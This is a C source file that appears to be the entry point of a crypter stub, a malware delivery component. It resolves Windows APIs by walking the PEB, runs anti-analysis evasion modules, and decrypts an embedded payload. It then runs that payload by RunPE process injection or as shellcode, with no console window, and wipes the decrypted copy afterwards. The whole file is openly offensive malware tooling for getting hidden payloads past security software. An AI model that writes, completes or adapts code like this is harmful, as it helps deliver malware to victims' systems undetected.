/**
 * stub_main.c — Crypter stub entry point
 *
 * Flow:
 *   1. Resolve all APIs via PEB walking
 *   2. Run enabled evasion modules
 *   3. Decrypt embedded payload (XOR + AES-256-CBC)
 *   4. Execute via selected mode (RunPE or Shellcode)
 *   5. Wipe decrypted payload from memory
 *
 * The crypter engine defines:
 *   - EVASION_xxx flags for each enabled evasion module
 *   - CRYPT_MODE_RUNPE or CRYPT_MODE_SHELLCODE
 */

#include <windows.h>
#include <stdint.h>
#include <string.h>

#include "api_resolve.h"
#include "decrypt_layer.h"
#include "evasion.h"

/* Mode-specific execution functions (linked from runpe_stub.c or shellcode_stub.c) */
#ifdef CRYPT_MODE_RUNPE
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len);
#endif

#ifdef CRYPT_MODE_SHELLCODE
int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len);
#endif

/**
 * Securely wipe memory with volatile write to prevent compiler optimization.
 */
static void secure_wipe(void *ptr, size_t len) {
    volatile uint8_t *p = (volatile uint8_t *)ptr;
    while (len--) *p++ = 0;
}

/**
 * WinMain — GUI subsystem entry point (no console window).
 */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                   LPSTR lpCmdLine, int nCmdShow) {
    (void)hInstance;
    (void)hPrevInstance;
    (void)lpCmdLine;
    (void)nCmdShow;

    /* Step 1: Resolve all APIs via PEB walking */
    api_resolve_init();

    /* Step 2: Run evasion modules */
    evasion_init_all();

    /* Step 3: Decrypt payload */
    uint32_t payload_len = 0;
    uint8_t *payload = decrypt_payload(&payload_len);
    if (!payload || payload_len == 0) {
        return 1;
    }

    /* Step 4: Execute */
    int result = -1;

#ifdef CRYPT_MODE_RUNPE
    result = runpe_execute(payload, payload_len);
#endif

#ifdef CRYPT_MODE_SHELLCODE
    result = shellcode_execute(payload, payload_len);
#endif

    /* Step 5: Wipe decrypted payload */
    secure_wipe(payload, payload_len);
    HeapFree(GetProcessHeap(), 0, payload);

    return result;
}